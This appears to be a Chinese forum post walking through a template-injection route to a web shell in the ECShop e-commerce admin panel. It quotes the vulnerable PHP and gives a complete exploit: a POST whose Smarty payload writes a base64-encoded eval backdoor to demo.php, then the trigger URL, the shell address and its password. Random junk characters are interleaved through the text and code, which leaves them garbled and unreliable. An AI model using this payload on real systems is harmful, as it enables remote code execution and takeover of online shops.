首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板; j( A; y. ~' A( y8 [. ^! e! \
$ B9 ]6 [+ m$ \) a
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了# T) Y) @8 {1 h8 D1 d
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ L8 g: t$ v; E# cadmin/template.php
5 Q& d/ j T2 ?5 |& P
0 j+ q+ V( K2 s! [8 t1 if ($_REQUEST['act'] == 'update_library') : Q6 z# a# C. f- \3 K) k( }) @
* r, m$ i/ G$ e/ \& D2
) L. C/ Q8 Y, I4 R( M5 J+ N7 J7 @0 e' I8 Y/ p/ F- Q
3 {
^; W5 g' S2 u9 r ^8 q- N+ g6 ]/ [7 u! g! y1 i, ~
4 check_authz_json('library_manage');
' R( {* d$ C, T' k$ }3 P1 D* \2 z2 a( S( z9 p8 M) k
5 7 Y1 S+ w B* | i
( v4 F* h$ t2 ]# Z
6 $html = stripslashes(json_str_iconv($_POST['html'])); ( [ v {; K/ Q8 B' R4 [3 I: z
! u9 w: M2 M0 f$ w% B( A7 ; p* B, U% r: U1 e. ]
2 w' y* s. Y q" ^9 {
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ! X! \% b! j2 Q# x) ?2 L* A
4 F( w( ^ w; y3 S: D3 u9 % c/ i" Z. ]3 y/ ]! [! d
# W+ A5 a) ^2 K! f4 B
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 Y4 i' O& }0 f! e( H7 u
/ y& m2 [0 T$ R, g9 h9 X2 B- e0 u! Z5 Y9 i11 & x5 \9 h6 _; ?2 W6 b/ C
! z# s& | Q0 x/ r; \# `' G
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); + h) F$ }; t, w. M/ f
* L0 z( z- \! _( _% E }5 q% h13 1 G" k& @- c+ c5 f$ j
9 b- I3 j- {) t5 j( K5 u14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
% d8 ?: _0 U) W8 p: [ e. W5 g2 }2 s" j1 \! k
15 {
5 \- [3 w6 J Z& T
8 J3 L0 C4 O" h; N1 ?/ l# G4 Y16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
; t- d7 B- O: R+ W6 X/ N3 I4 m- O
# C+ U* L- p( z% x17 make_json_result('', $_LANG['update_lib_success']);
4 L9 _' X* Y& s1 X: @# g. ?6 K# z: H/ P% w+ k0 Z' l
18 }
8 ] o Y( O) i3 @
; `* o& l; q) H19 else
, W1 h3 Q/ ~* N( P5 W
( L2 g- L. e/ W+ c20 {
- f" q: m& w% _- l
! I7 Q# J+ T4 [( r: {& V21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 ?6 A- F0 w! I- R# ~! y: ]8 L8 ?
2 @" H0 i. U& X2 v4 k
22 } 1 c5 E4 d1 S( h0 T% I. {8 K! a' T
5 r8 s2 _/ s' k* N
23 } 7 ^: N; E. M& r+ c2 [: Z6 J
# ? D5 J6 L3 @8 _" Q, a, H' e那么找个比较方便调用了模板的文件/ m2 s! ]4 L1 u8 J5 p* N
index.php: ^$ H3 \$ [! E4 b+ I' c
! e8 I% ]0 ]5 p, c/ v
1 if ($act == 'cat_rec')
, B7 f/ ?$ R! M" ~" T$ U! t7 L0 Y g% h% I" w) v% B
2 . z6 C' J6 Y2 e& A/ A5 g: f
, @2 j+ g4 ]: D5 z( g( b& V3 `+ k3 { * Y. J2 c& }0 J+ X3 H$ t- f5 A
# |( G* U4 @5 r7 o2 F9 `9 @4
F( A9 l0 I! ]* x3 b
: ~6 e7 d/ L9 Z9 Y1 L5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 o$ Y( N: i+ D- [, i" W; D2 w; y: U: g! A
6
, b, c: [; f* @' @. C
" M" A- C3 |7 H3 R7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
~3 z5 L) \9 I- ]3 A& c% ~! I. T6 B, k6 }6 N
8
& G8 W9 `6 }" P5 v! ~: t; _; ]6 w, g/ a
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
! s' E& f3 l' G* ]0 R8 u
# I8 ?0 [( D7 N0 x7 j10 ( ?; t; Y2 l4 Q5 S; c0 c
: y, Q3 @) b4 p1 _" N+ e4 j( E$ v11 include_once('includes/cls_json.php'); $ K* Q) f* E$ A; L6 r2 [; v. w
, r6 L* F1 ^; `. c6 _# v- P12 & ?, O* E' t) R: h1 c
* B8 A* y" P& a13 $json = new JSON; ) \& V/ Q% D0 Y6 n$ |
7 j, P9 ]/ b5 B& k: }' h14 , I. J$ c$ g1 [ S8 \
% N) X, u; q z5 [# B0 x7 |15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! N1 l! C. n$ V
. D0 a4 Y2 O6 m& j9 H0 F% D16 4 i2 N$ H2 U4 L. u& Z/ t
5 L! _% u |* n4 ~ j I$ f17 $children = get_children($cat_id);
7 v/ x' C: M' f: i8 u7 X; w7 R9 D" Q4 b1 w4 f' B: w4 t
18
" U1 i( ]- t3 B7 C2 @( O- v. ^6 m8 R* A+ g/ d$ w
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
( d" K# s* `$ ~1 z( I% L9 z- D* r; y# j# [$ A5 C N; F
20 + [% E! P s6 t
' E/ U: }; G7 l5 K' N' |& o6 h- O
21 $smarty->assign('cat_rec_sign', 1); ' b3 w' @3 V2 j$ B4 a3 O
3 i; i9 ?* M$ U, y4 D; W2 L22
$ v9 v* z- D) g9 D" F6 w
8 Q5 I1 F4 ^2 z( K8 H8 e" } e23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best " V9 s2 R# k8 n
, G( ^* F8 S8 t. h$ K; R' m5 L7 e) |
24 ; r% }4 x. S1 R C5 L" l0 D, M
) Y. @1 u Y* D% ~25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
' [% d# D( K+ w; c- ^: ?& `% [
+ j: c1 ?; d7 U26 : y) v9 f/ {( Y7 j4 e' E
^! W9 I: d- a) l+ T% C/ I; y
27 echo $rec_array[$rec_type]; 7 k. M: X! K" T" c* r+ d; Y5 s
* i) m8 G. I2 Y( ^
28 # D l4 w+ [" _6 o
* C. v. |- \3 M- w29 die($json->encode($result));
% w4 y; V: p- ^. ^3 D! v) r1 e+ D/ c% }! b
30
( P3 u9 D7 i0 n% X# L& n# u0 Y9 s
3 l* k7 O* Y1 l. w6 S; A31 }
' m$ Q" L" ~+ |6 G. v" N: q( Z( Z) N9 n7 E% i# ?4 B
那么就有利用方法了
2 y5 L2 Q$ `2 t- c2 @post包到http://localhost/ec/admin/template.php?act=update_library
( [3 C3 e2 r: l8 T: l! O9 EPost内容:# q) V5 O$ g+ \) Y
7 X+ d. l+ C4 P" m! F1 v) G" N9 {+ N' N# r
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
J- q) }& H7 D
2 Q* j2 S' s1 a) Y% Y然后访问http://localhost/ec/index.php?act=cat_rec- O- B5 o0 b2 f9 u" @
0 B( J7 f; ~+ @6 a7 ]+ ]; Hshel地址:http://localhost/ec/demo.php# t" w/ C6 L, U
密码c8 [- L2 ~/ T% g C& A: m8 c
4 z! [, Y: d; g+ P+ G* T4 S
|